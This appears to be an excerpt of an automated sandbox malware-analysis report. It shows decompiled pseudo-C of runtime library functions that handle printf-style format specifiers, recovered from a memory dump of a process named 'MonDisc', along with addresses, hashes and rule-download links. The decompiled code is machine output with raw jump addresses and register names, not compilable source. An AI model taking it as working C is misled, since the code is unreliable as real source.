				if (E00007FF67FF6ED195FD4(0xa, 0x78, __rcx, __rcx, _t181, _t184, _t187, _t192) != 0) goto 0xed193d06;
				goto 0xed193e5b;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xed193e58;
				_t115 =  *(__rcx + 0x30);
				_v56 = 0;
				_v52 = 0;
				_t20 = _t181 + 0x20; // 0x20
				r13d = _t20;
				if ((r15b & 0) == 0) goto 0xed193d60;
				if ((r15b & 0) == 0) goto 0xed193d42;
				_t25 = _t181 + 0x2d; // 0x2d
				_v56 = _t25;
				goto 0xed193d5d;
				if ((r15b & _t115) == 0) goto 0xed193d4e;
				goto 0xed193d3b;
				if ((r15b & 0) == 0) goto 0xed193d60;
				_v56 = r13w;
				_t182 = _t200;
				_t107 =  *(__rcx + 0x42) & 0x0000ffff;
				r9d = 0xffdf;
				if ((r9w & (_t107 & 0x0000ffff) - _t123) != 0) goto 0xed193d85;
				if ((r15b & 0) == 0) goto 0xed193d85;
				r8b = r15b;
				goto 0xed193d88;
				r8b = 0;
				r12d = 0x30;
				if (r8b != 0) goto 0xed193da1;
				if (0 == 0) goto 0xed193dbe;
				 *((intOrPtr*)(_t190 + 0x30 + _t182 * 2)) = r12w;
				if (_t107 == _t123) goto 0xed193db2;
				if (_t107 != 0x41) goto 0xed193db5;
				 *((short*)(_t190 + 0x32 + _t182 * 2)) = _t123 & 0x0000ffff;
				_t185 = __rcx + 0x468;
				_t126 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t115 & 0x0000000c) != 0) goto 0xed193de7;
				r8d = _t126;
				_t96 = E00007FF67FF6ED18B25C(r13b, __rcx, __rcx + 0x468, _t182 + 2, __rcx + 0x28, __r10);
				r8d = 0;
				_v72 = __rcx + 0x10;
				E00007FF67FF6ED19BDA0(_t96, _t123 & 0x0000ffff, __rcx, __rcx + 0x468, __rcx + 0x468, _t187, __rcx + 0x28);
				if ((r15b & 0) == 0) goto 0xed193e29;
				if ((r15b &  *(__rcx + 0x30) >> 0x00000002) != 0) goto 0xed193e29;
				r8d = _t126;
				E00007FF67FF6ED19B9FC(E00007FF67FF6ED18B25C(r12b, __rcx, __rcx + 0x468, _t182 + 2, __rcx + 0x28, __r10), __rcx, __rcx, _t185, _t187);
				if ( *((intOrPtr*)(__rcx + 0x28)) < 0) goto 0xed193e58;
				r10d =  *(__rcx + 0x30);
				r10d = r10d >> 2;
				if ((r15b & r10b) == 0) goto 0xed193e58;
				r8d = _t126;
				E00007FF67FF6ED18B25C(r13b, __rcx, _t185, _t182 + 2, __rcx + 0x28, __r10);
				return E00007FF67FF6ED173DE0(r15b,  *(__rcx + 0x30) >> 2, _v48 ^ _t190);
			}

0x7ff6ed193bbc
0x7ff6ed193bbc
0x7ff6ed193bbc
0x7ff6ed193bc1
0x7ff6ed193bc6
0x7ff6ed193bd4
0x7ff6ed193bd8
0x7ff6ed193be2
0x7ff6ed193be7
0x7ff6ed193bf3
0x7ff6ed193bf3
0x7ff6ed193bf6
0x7ff6ed193bf6
0x7ff6ed193bfa
0x7ff6ed193bfe
0x7ff6ed193c00
0x7ff6ed193c0a
0x7ff6ed193c14
0x7ff6ed193c1a
0x7ff6ed193c24
0x7ff6ed193c2e
0x7ff6ed193c33
0x7ff6ed193c39
0x7ff6ed193c3f
0x7ff6ed193c49
0x7ff6ed193c51
0x7ff6ed193c56
0x7ff6ed193c5b
0x7ff6ed193c60
0x7ff6ed193c69
0x7ff6ed193c73
0x7ff6ed193c79
0x7ff6ed193c7f
0x7ff6ed193c85
0x7ff6ed193c8b
0x7ff6ed193c91
0x7ff6ed193c96
0x7ff6ed193c9d
0x7ff6ed193c9f
0x7ff6ed193ca4
0x7ff6ed193ca6
0x7ff6ed193cad
0x7ff6ed193cb4
0x7ff6ed193cbc
0x7ff6ed193cbe
0x7ff6ed193cc9
0x7ff6ed193ccb
0x7ff6ed193ccf
0x7ff6ed193cda
0x7ff6ed193cdc
0x7ff6ed193ce1
0x7ff6ed193ce3
0x7ff6ed193cec
0x7ff6ed193cef
0x7ff6ed193cf4
0x7ff6ed193cfd
0x7ff6ed193d01
0x7ff6ed193d0a
0x7ff6ed193d10
0x7ff6ed193d15
0x7ff6ed193d1b
0x7ff6ed193d25
0x7ff6ed193d25
0x7ff6ed193d2c
0x7ff6ed193d36
0x7ff6ed193d38
0x7ff6ed193d3b
0x7ff6ed193d40
0x7ff6ed193d45
0x7ff6ed193d4c
0x7ff6ed193d55
0x7ff6ed193d57
0x7ff6ed193d5d
0x7ff6ed193d60
0x7ff6ed193d64
0x7ff6ed193d74
0x7ff6ed193d7e
0x7ff6ed193d80
0x7ff6ed193d83
0x7ff6ed193d85
0x7ff6ed193d8b
0x7ff6ed193d9b
0x7ff6ed193d9f
0x7ff6ed193da1
0x7ff6ed193daa
0x7ff6ed193db0
0x7ff6ed193db5
0x7ff6ed193dc8
0x7ff6ed193dcf
0x7ff6ed193dd4
0x7ff6ed193dd9
0x7ff6ed193de2
0x7ff6ed193dee
0x7ff6ed193df1
0x7ff6ed193dfe
0x7ff6ed193e0e
0x7ff6ed193e16
0x7ff6ed193e1b
0x7ff6ed193e2e
0x7ff6ed193e3b
0x7ff6ed193e3d
0x7ff6ed193e41
0x7ff6ed193e48
0x7ff6ed193e4a
0x7ff6ed193e53
0x7ff6ed193e85

Strings

0, xrefs: 00007FF6ED193D8B

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 908933814d478f54ba1df71312dd5d19860461f8645cf18b3ed8e218625aa532
Instruction ID: 22a91ed26c9d7f6128bfd972b220119e826d71499cd62e228d1a25a074957f58
Opcode Fuzzy Hash: 908933814d478f54ba1df71312dd5d19860461f8645cf18b3ed8e218625aa532
Instruction Fuzzy Hash: EE71D227A1860342FAB89A1DA0107F926A1EF40B44F845033ED4D87699EF2FE847824F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED192938 Relevance: 1.5, Strings: 1, Instructions: 206
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 49%

			E00007FF67FF6ED192938(long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, char _a8, char _a10, long long _a16, long long _a24, long long _a32) {
				long long _v40;
				void* __rdi;
				intOrPtr _t67;
				void* _t69;
				void* _t98;
				unsigned int _t99;
				intOrPtr _t100;
				unsigned int _t103;
				signed char _t112;
				void* _t118;
				void* _t121;
				void* _t122;
				void* _t176;
				void* _t177;
				intOrPtr* _t180;
				void* _t184;
				void* _t185;
				void* _t187;
				void* _t192;
				intOrPtr* _t193;
				void* _t194;

				_t182 = __rbp;
				_t179 = __rsi;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t185 = _t184 - 0x30;
				_t67 =  *((intOrPtr*)(__rcx + 0x41));
				r15d = 1;
				sil = 0x78;
				bpl = 0x58;
				r14b = 0x41;
				_t122 = _t67 - 0x64;
				if (_t122 > 0) goto 0xed1929bf;
				if (_t122 == 0) goto 0xed192a2b;
				if (_t67 == r14b) goto 0xed192a3e;
				if (_t67 == 0x43) goto 0xed1929a9;
				if (_t67 - 0x44 <= 0) goto 0xed192a47;
				if (_t67 - 0x47 <= 0) goto 0xed192a3e;
				if (_t67 == 0x53) goto 0xed1929e7;
				if (_t67 == bpl) goto 0xed1929fc;
				if (_t67 == 0x5a) goto 0xed1929b5;
				if (_t67 == 0x61) goto 0xed192a3e;
				if (_t67 != 0x63) goto 0xed192a47;
				E00007FF67FF6ED1967E4(_t67 - 0x63, __rcx);
				goto 0xed192a43;
				_t69 = E00007FF67FF6ED1949FC(__rcx);
				goto 0xed192a43;
				if (_t69 - 0x67 <= 0) goto 0xed192a3e;
				if (_t69 == 0x69) goto 0xed192a2b;
				if (_t69 == 0x6e) goto 0xed192a24;
				if (_t69 == 0x6f) goto 0xed192a06;
				if (_t69 == 0x70) goto 0xed1929ee;
				if (_t69 == 0x73) goto 0xed1929e7;
				if (_t69 == 0x75) goto 0xed192a2f;
				if (_t69 != sil) goto 0xed192a47;
				goto 0xed192a34;
				E00007FF67FF6ED198E00(__rcx);
				goto 0xed192a43;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xed192a37;
				_t99 =  *(__rcx + 0x30);
				if ((r15b & _t99 >> 0x00000005) == 0) goto 0xed192a1a;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t99;
				goto 0xed192a34;
				E00007FF67FF6ED198448(__rcx, __rcx);
				goto 0xed192a43;
				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF67FF6ED197368(_t98, 0xa, _t118, r15b & _t99 >> 0x00000005, __rcx, __rcx, _t176, __rsi, __rbp, _t192);
				goto 0xed192a43;
				if (E00007FF67FF6ED1952CC(0xa, _t118, __rcx, __rcx, _t179, _t182, _t187) != 0) goto 0xed192a4e;
				goto 0xed192ba3;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xed192ba0;
				_t112 =  *(__rcx + 0x30);
				_a8 = 0;
				_a10 = 0;
				if ((r15b & 0) == 0) goto 0xed192aa0;
				if ((r15b & 0) == 0) goto 0xed192a83;
				_a8 = 0x2d;
				goto 0xed192a9d;
				if ((r15b & _t112) == 0) goto 0xed192a8f;
				_a8 = 0x2b;
				goto 0xed192a9d;
				if ((r15b & 0) == 0) goto 0xed192aa0;
				_a8 = 0x20;
				_t177 = _t194;
				_t100 =  *((intOrPtr*)(__rcx + 0x41));
				if ((_t100 - bpl & 0x000000df) != 0) goto 0xed192abb;
				if ((r15b & _t112 >> 0x00000005) == 0) goto 0xed192abb;
				r8b = r15b;
				goto 0xed192abe;
				r8b = 0;
				if (r8b != 0) goto 0xed192ad1;
				if ((_t100 - r14b & 0xffffff00 | (_t100 - r14b & 0x000000df) == 0x00000000) == 0) goto 0xed192aec;
				 *((char*)(_t185 + _t177 + 0x50)) = 0x30;
				if (_t100 == bpl) goto 0xed192ae0;
				if (_t100 != r14b) goto 0xed192ae3;
				sil = bpl;
				 *((intOrPtr*)(_t185 + _t177 + 0x51)) = sil;
				_t121 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t112 & 0x0000000c) != 0) goto 0xed192b0e;
				r8d = _t121;
				E00007FF67FF6ED18B0C4(0x20, __rcx, __rcx + 0x468, _t177 + 2, _t179, _t182, __rcx + 0x28);
				_t193 = __rcx + 0x468;
				_t180 = __rcx + 0x28;
				if ((r15b &  *( *_t193 + 0x14) >> 0x0000000c) == 0) goto 0xed192b35;
				if ( *((long long*)( *_t193 + 8)) != 0) goto 0xed192b35;
				 *_t180 =  *_t180;
				goto 0xed192b51;
				r8d = 0;
				_v40 = __rcx + 0x10;
				0xed19be48();
				_t103 =  *(__rcx + 0x30);
				if ((r15b & _t103 >> 0x00000003) == 0) goto 0xed192b76;
				if ((r15b & _t103 >> 0x00000002) != 0) goto 0xed192b76;
				r8d = _t121;
				E00007FF67FF6ED19B338(E00007FF67FF6ED18B0C4(0x30, __rcx, _t193, _t177 + 2, _t180, _t182, _t180), __rcx, __rcx, _t180);
				if ( *_t180 < 0) goto 0xed192ba0;
				if ((r15b &  *(__rcx + 0x30) >> 0x00000002) == 0) goto 0xed192ba0;
				r8d = _t121;
				E00007FF67FF6ED18B0C4(0x20, __rcx, _t193, _t177 + 2, _t180, _t182, _t180);
				return r15b;
			}

0x7ff6ed192938
0x7ff6ed192938
0x7ff6ed192938
0x7ff6ed19293d
0x7ff6ed192942
0x7ff6ed19294c
0x7ff6ed192950
0x7ff6ed192956
0x7ff6ed19295c
0x7ff6ed19295f
0x7ff6ed192962
0x7ff6ed192965
0x7ff6ed192967
0x7ff6ed192969
0x7ff6ed192972
0x7ff6ed19297a
0x7ff6ed19297e
0x7ff6ed192986
0x7ff6ed19298e
0x7ff6ed192993
0x7ff6ed192997
0x7ff6ed19299b
0x7ff6ed1929a3
0x7ff6ed1929ab
0x7ff6ed1929b0
0x7ff6ed1929b5
0x7ff6ed1929ba
0x7ff6ed1929c1
0x7ff6ed1929c5
0x7ff6ed1929c9
0x7ff6ed1929cd
0x7ff6ed1929d1
0x7ff6ed1929d5
0x7ff6ed1929d9
0x7ff6ed1929de
0x7ff6ed1929e5
0x7ff6ed1929e7
0x7ff6ed1929ec
0x7ff6ed1929ee
0x7ff6ed1929f5
0x7ff6ed1929fc
0x7ff6ed192a04
0x7ff6ed192a06
0x7ff6ed192a11
0x7ff6ed192a13
0x7ff6ed192a17
0x7ff6ed192a22
0x7ff6ed192a24
0x7ff6ed192a29
0x7ff6ed192a2b
0x7ff6ed192a34
0x7ff6ed192a37
0x7ff6ed192a3c
0x7ff6ed192a45
0x7ff6ed192a49
0x7ff6ed192a52
0x7ff6ed192a58
0x7ff6ed192a5d
0x7ff6ed192a64
0x7ff6ed192a70
0x7ff6ed192a7a
0x7ff6ed192a7c
0x7ff6ed192a81
0x7ff6ed192a86
0x7ff6ed192a88
0x7ff6ed192a8d
0x7ff6ed192a96
0x7ff6ed192a98
0x7ff6ed192a9d
0x7ff6ed192aa0
0x7ff6ed192aaa
0x7ff6ed192ab4
0x7ff6ed192ab6
0x7ff6ed192ab9
0x7ff6ed192abb
0x7ff6ed192acb
0x7ff6ed192acf
0x7ff6ed192ad1
0x7ff6ed192ad9
0x7ff6ed192ade
0x7ff6ed192ae0
0x7ff6ed192ae3
0x7ff6ed192af2
0x7ff6ed192af7
0x7ff6ed192afd
0x7ff6ed192b09
0x7ff6ed192b0e
0x7ff6ed192b18
0x7ff6ed192b25
0x7ff6ed192b2f
0x7ff6ed192b31
0x7ff6ed192b33
0x7ff6ed192b3c
0x7ff6ed192b3f
0x7ff6ed192b4c
0x7ff6ed192b51
0x7ff6ed192b5c
0x7ff6ed192b64
0x7ff6ed192b69
0x7ff6ed192b7b
0x7ff6ed192b83
0x7ff6ed192b8e
0x7ff6ed192b93
0x7ff6ed192b9b
0x7ff6ed192bbb

Strings

0, xrefs: 00007FF6ED192AD1

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 68e0c062b34503f417aebf78186120f0ff1bfe100c949fd53e37cb98e70eafd2
Instruction ID: b6c6ead90f029930982e8a37451a8527ca26b70d9735d11c54986d40d9b139b8
Opcode Fuzzy Hash: 68e0c062b34503f417aebf78186120f0ff1bfe100c949fd53e37cb98e70eafd2
Instruction Fuzzy Hash: 6571E623A0C64756FA748A2952103FA67D2AF41B44FD40131DD8997BDAEE2FE846C30B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED192418 Relevance: 1.5, Strings: 1, Instructions: 206
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 49%

			E00007FF67FF6ED192418(long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, char _a8, char _a10, long long _a16, long long _a24, long long _a32) {
				long long _v40;
				void* __rdi;
				intOrPtr _t67;
				void* _t69;
				void* _t98;
				unsigned int _t99;
				intOrPtr _t100;
				unsigned int _t103;
				signed char _t112;
				void* _t118;
				void* _t121;
				void* _t122;
				void* _t176;
				void* _t177;
				intOrPtr* _t180;
				void* _t184;
				void* _t185;
				void* _t187;
				void* _t192;
				intOrPtr* _t193;
				void* _t194;

				_t182 = __rbp;
				_t179 = __rsi;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t185 = _t184 - 0x30;
				_t67 =  *((intOrPtr*)(__rcx + 0x41));
				r15d = 1;
				sil = 0x78;
				bpl = 0x58;
				r14b = 0x41;
				_t122 = _t67 - 0x64;
				if (_t122 > 0) goto 0xed19249f;
				if (_t122 == 0) goto 0xed19250b;
				if (_t67 == r14b) goto 0xed19251e;
				if (_t67 == 0x43) goto 0xed192489;
				if (_t67 - 0x44 <= 0) goto 0xed192527;
				if (_t67 - 0x47 <= 0) goto 0xed19251e;
				if (_t67 == 0x53) goto 0xed1924c7;
				if (_t67 == bpl) goto 0xed1924dc;
				if (_t67 == 0x5a) goto 0xed192495;
				if (_t67 == 0x61) goto 0xed19251e;
				if (_t67 != 0x63) goto 0xed192527;
				E00007FF67FF6ED196610(_t67 - 0x63, __rcx);
				goto 0xed192523;
				_t69 = E00007FF67FF6ED1948E8(__rcx);
				goto 0xed192523;
				if (_t69 - 0x67 <= 0) goto 0xed19251e;
				if (_t69 == 0x69) goto 0xed19250b;
				if (_t69 == 0x6e) goto 0xed192504;
				if (_t69 == 0x6f) goto 0xed1924e6;
				if (_t69 == 0x70) goto 0xed1924ce;
				if (_t69 == 0x73) goto 0xed1924c7;
				if (_t69 == 0x75) goto 0xed19250f;
				if (_t69 != sil) goto 0xed192527;
				goto 0xed192514;
				E00007FF67FF6ED198CB0(__rcx);
				goto 0xed192523;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xed192517;
				_t99 =  *(__rcx + 0x30);
				if ((r15b & _t99 >> 0x00000005) == 0) goto 0xed1924fa;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t99;
				goto 0xed192514;
				E00007FF67FF6ED198310(__rcx, __rcx);
				goto 0xed192523;
				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF67FF6ED197040(_t98, 0xa, _t118, r15b & _t99 >> 0x00000005, __rcx, __rcx, _t176, __rsi, __rbp, _t192);
				goto 0xed192523;
				if (E00007FF67FF6ED194F18(0xa, _t118, __rcx, __rcx, _t179, _t182, _t187) != 0) goto 0xed19252e;
				goto 0xed192683;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xed192680;
				_t112 =  *(__rcx + 0x30);
				_a8 = 0;
				_a10 = 0;
				if ((r15b & 0) == 0) goto 0xed192580;
				if ((r15b & 0) == 0) goto 0xed192563;
				_a8 = 0x2d;
				goto 0xed19257d;
				if ((r15b & _t112) == 0) goto 0xed19256f;
				_a8 = 0x2b;
				goto 0xed19257d;
				if ((r15b & 0) == 0) goto 0xed192580;
				_a8 = 0x20;
				_t177 = _t194;
				_t100 =  *((intOrPtr*)(__rcx + 0x41));
				if ((_t100 - bpl & 0x000000df) != 0) goto 0xed19259b;
				if ((r15b & _t112 >> 0x00000005) == 0) goto 0xed19259b;
				r8b = r15b;
				goto 0xed19259e;
				r8b = 0;
				if (r8b != 0) goto 0xed1925b1;
				if ((_t100 - r14b & 0xffffff00 | (_t100 - r14b & 0x000000df) == 0x00000000) == 0) goto 0xed1925cc;
				 *((char*)(_t185 + _t177 + 0x50)) = 0x30;
				if (_t100 == bpl) goto 0xed1925c0;
				if (_t100 != r14b) goto 0xed1925c3;
				sil = bpl;
				 *((intOrPtr*)(_t185 + _t177 + 0x51)) = sil;
				_t121 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t112 & 0x0000000c) != 0) goto 0xed1925ee;
				r8d = _t121;
				E00007FF67FF6ED18B0C4(0x20, __rcx, __rcx + 0x468, _t177 + 2, _t179, _t182, __rcx + 0x28);
				_t193 = __rcx + 0x468;
				_t180 = __rcx + 0x28;
				if ((r15b &  *( *_t193 + 0x14) >> 0x0000000c) == 0) goto 0xed192615;
				if ( *((long long*)( *_t193 + 8)) != 0) goto 0xed192615;
				 *_t180 =  *_t180;
				goto 0xed192631;
				r8d = 0;
				_v40 = __rcx + 0x10;
				0xed19be48();
				_t103 =  *(__rcx + 0x30);
				if ((r15b & _t103 >> 0x00000003) == 0) goto 0xed192656;
				if ((r15b & _t103 >> 0x00000002) != 0) goto 0xed192656;
				r8d = _t121;
				E00007FF67FF6ED19B0F0(E00007FF67FF6ED18B0C4(0x30, __rcx, _t193, _t177 + 2, _t180, _t182, _t180), __rcx, __rcx, _t180);
				if ( *_t180 < 0) goto 0xed192680;
				if ((r15b &  *(__rcx + 0x30) >> 0x00000002) == 0) goto 0xed192680;
				r8d = _t121;
				E00007FF67FF6ED18B0C4(0x20, __rcx, _t193, _t177 + 2, _t180, _t182, _t180);
				return r15b;
			}

0x7ff6ed192418
0x7ff6ed192418
0x7ff6ed192418
0x7ff6ed19241d
0x7ff6ed192422
0x7ff6ed19242c
0x7ff6ed192430
0x7ff6ed192436
0x7ff6ed19243c
0x7ff6ed19243f
0x7ff6ed192442
0x7ff6ed192445
0x7ff6ed192447
0x7ff6ed192449
0x7ff6ed192452
0x7ff6ed19245a
0x7ff6ed19245e
0x7ff6ed192466
0x7ff6ed19246e
0x7ff6ed192473
0x7ff6ed192477
0x7ff6ed19247b
0x7ff6ed192483
0x7ff6ed19248b
0x7ff6ed192490
0x7ff6ed192495
0x7ff6ed19249a
0x7ff6ed1924a1
0x7ff6ed1924a5
0x7ff6ed1924a9
0x7ff6ed1924ad
0x7ff6ed1924b1
0x7ff6ed1924b5
0x7ff6ed1924b9
0x7ff6ed1924be
0x7ff6ed1924c5
0x7ff6ed1924c7
0x7ff6ed1924cc
0x7ff6ed1924ce
0x7ff6ed1924d5
0x7ff6ed1924dc
0x7ff6ed1924e4
0x7ff6ed1924e6
0x7ff6ed1924f1
0x7ff6ed1924f3
0x7ff6ed1924f7
0x7ff6ed192502
0x7ff6ed192504
0x7ff6ed192509
0x7ff6ed19250b
0x7ff6ed192514
0x7ff6ed192517
0x7ff6ed19251c
0x7ff6ed192525
0x7ff6ed192529
0x7ff6ed192532
0x7ff6ed192538
0x7ff6ed19253d
0x7ff6ed192544
0x7ff6ed192550
0x7ff6ed19255a
0x7ff6ed19255c
0x7ff6ed192561
0x7ff6ed192566
0x7ff6ed192568
0x7ff6ed19256d
0x7ff6ed192576
0x7ff6ed192578
0x7ff6ed19257d
0x7ff6ed192580
0x7ff6ed19258a
0x7ff6ed192594
0x7ff6ed192596
0x7ff6ed192599
0x7ff6ed19259b
0x7ff6ed1925ab
0x7ff6ed1925af
0x7ff6ed1925b1
0x7ff6ed1925b9
0x7ff6ed1925be
0x7ff6ed1925c0
0x7ff6ed1925c3
0x7ff6ed1925d2
0x7ff6ed1925d7
0x7ff6ed1925dd
0x7ff6ed1925e9
0x7ff6ed1925ee
0x7ff6ed1925f8
0x7ff6ed192605
0x7ff6ed19260f
0x7ff6ed192611
0x7ff6ed192613
0x7ff6ed19261c
0x7ff6ed19261f
0x7ff6ed19262c
0x7ff6ed192631
0x7ff6ed19263c
0x7ff6ed192644
0x7ff6ed192649
0x7ff6ed19265b
0x7ff6ed192663
0x7ff6ed19266e
0x7ff6ed192673
0x7ff6ed19267b
0x7ff6ed19269b

Strings

0, xrefs: 00007FF6ED1925B1

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: bb561fd5f549dbb3bf2301848e58b4fa0f8b2af989ccab977e4857bcdba36775
Instruction ID: 67926d2b19ad02479838f3c0adc8e31b2080e47e003b577eef9d65135d751bd0
Opcode Fuzzy Hash: bb561fd5f549dbb3bf2301848e58b4fa0f8b2af989ccab977e4857bcdba36775
Instruction Fuzzy Hash: AC71F713E0C64746FA648A2952203FA6791AF42B58FD41131DD4D877DAEF2FE842C70B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED192BBC Relevance: 1.4, Strings: 1, Instructions: 196
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 65%

			E00007FF67FF6ED192BBC(long long __rbx, long long __rcx, long long __rsi, long long __rbp, char _a8, char _a10, long long _a16, long long _a24, long long _a32) {
				long long _v40;
				void* __rdi;
				intOrPtr _t61;
				void* _t63;
				void* _t85;
				unsigned int _t93;
				intOrPtr _t94;
				unsigned int _t95;
				signed char _t102;
				void* _t108;
				void* _t111;
				void* _t112;
				void* _t161;
				void* _t162;
				intOrPtr* _t167;
				void* _t169;
				void* _t170;
				void* _t172;
				void* _t177;
				void* _t179;

				_t166 = __rbp;
				_t164 = __rsi;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t170 = _t169 - 0x30;
				_t61 =  *((intOrPtr*)(__rcx + 0x41));
				r15d = 1;
				sil = 0x78;
				bpl = 0x58;
				r14b = 0x41;
				_t112 = _t61 - 0x64;
				if (_t112 > 0) goto 0xed192c43;
				if (_t112 == 0) goto 0xed192caf;
				if (_t61 == r14b) goto 0xed192cc2;
				if (_t61 == 0x43) goto 0xed192c2d;
				if (_t61 - 0x44 <= 0) goto 0xed192ccb;
				if (_t61 - 0x47 <= 0) goto 0xed192cc2;
				if (_t61 == 0x53) goto 0xed192c6b;
				if (_t61 == bpl) goto 0xed192c80;
				if (_t61 == 0x5a) goto 0xed192c39;
				if (_t61 == 0x61) goto 0xed192cc2;
				if (_t61 != 0x63) goto 0xed192ccb;
				E00007FF67FF6ED1968AC(_t61 - 0x63, __rcx);
				goto 0xed192cc7;
				_t63 = E00007FF67FF6ED194A70(__rcx);
				goto 0xed192cc7;
				if (_t63 - 0x67 <= 0) goto 0xed192cc2;
				if (_t63 == 0x69) goto 0xed192caf;
				if (_t63 == 0x6e) goto 0xed192ca8;
				if (_t63 == 0x6f) goto 0xed192c8a;
				if (_t63 == 0x70) goto 0xed192c72;
				if (_t63 == 0x73) goto 0xed192c6b;
				if (_t63 == 0x75) goto 0xed192cb3;
				if (_t63 != sil) goto 0xed192ccb;
				goto 0xed192cb8;
				E00007FF67FF6ED198E98(__rcx);
				goto 0xed192cc7;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xed192cbb;
				_t93 =  *(__rcx + 0x30);
				if ((r15b & _t93 >> 0x00000005) == 0) goto 0xed192c9e;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t93;
				goto 0xed192cb8;
				E00007FF67FF6ED1984D0(__rcx, __rcx);
				goto 0xed192cc7;
